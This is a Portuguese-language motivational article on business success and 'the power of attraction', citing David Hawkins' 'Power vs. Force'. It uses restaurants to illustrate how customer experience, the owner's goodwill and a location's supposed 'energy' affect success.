A força para o sucesso e o poder da atração 

A boa vontade e a intenção motivacional geram poder e o sucesso que não pode ser copiado. É o poder da atração. 

O esforço para se obter o sucesso acaba gerando exaustão e minando as forças. Já a atração que um estabelecimento/negócio é capaz de gerar pela experiência que oferece funciona de tal forma que o Universo trará o sucesso ao empreendedor. 

E, aqui deixamos uma dica para ler sobre o conceito dos campos atratores que Dr. David Hawkins explica em seu livro “Poder vs Força” e que também está descrito em nosso artigo “7 conceitos chave aplicados no estudo dos Níveis de Consciência”. 

A pergunta que está subjacente para compreender se estamos atuando com o poder da atração é:

Como um restaurante faz os outros se sentirem sobre ele?

Imagine se a resposta trouxer aspectos como esses: 

  • a localização é péssima
  • fiquei em pé numa fila,
  • os banheiros são nojentos
  • as cadeiras desconfortáveis
  • o garçom era desrespeitoso
  • o estacionamento é caro e o carro fica no sol
  • o ambiente é feio, apertado, mal iluminado, mal decorado
  • a música ambiente é desagradável e alta 

Essa experiência não faz as pessoas se sentirem bem sobre uma experiência.

Intuitivamente, entendemos e captamos a intenção ou a falta de carinho e energia investidos por trás de cada aspecto do negócio e é esse campo que gerará um movimento de atração ou aversão às novas experiências com esse local.

Que negócio esteve ali antes desse restaurante?

Outro aspecto que pode ser impactante no sucesso de um novo restaurante é a observação da seguinte questão: já houve outros restaurantes no mesmo edifício? Por que eles fecharam? Faliram? O que exatamente houve nesse local? 

Alguns locais têm campos atratores verdadeiramente desfavoráveis que podem interferir e impactar no sucesso de um negócio.

Segundo Dr. Hawkins, esse é um assunto que merece um livro exclusivo mas, em linhas gerais e até mesmo usando uma forma simples de se dizer, são locais onde energias desfavoráveis atuam, prejudicando o desenvolvimento de atividades de sucesso. 

A Consciência da Boa Vontade 

A consciência da boa vontade que é formada tanto pelas experiências dos consumidores quanto pela energia do local e intenções do proprietário é fundamental para o sucesso.

A atenção e a solicitude são a base para negócios lucrativos e prazerosos. 

Diz Dr. Hawkins:

“É importante fazer o cliente se “sentir em casa”. Isso é simples decência e hospitalidade, que tanto falta hoje em dia nas empresas previsíveis e tediosas. Um ambiente tedioso cria colaboradores entediados e trazem consumidores estúpidos ou chatos, que fazem toda a experiência se tornar cansativa. As pessoas nos perdoam por qualquer coisa, exceto por entediá-las.”

E é num tom divertido que Dr. Hawkins nos conduz ao entendimento do que é o verdadeiro sucesso através da leitura desse livro. É uma experiência agradável que, com certeza, agregará muito àqueles que se aventurarem em sua leitura.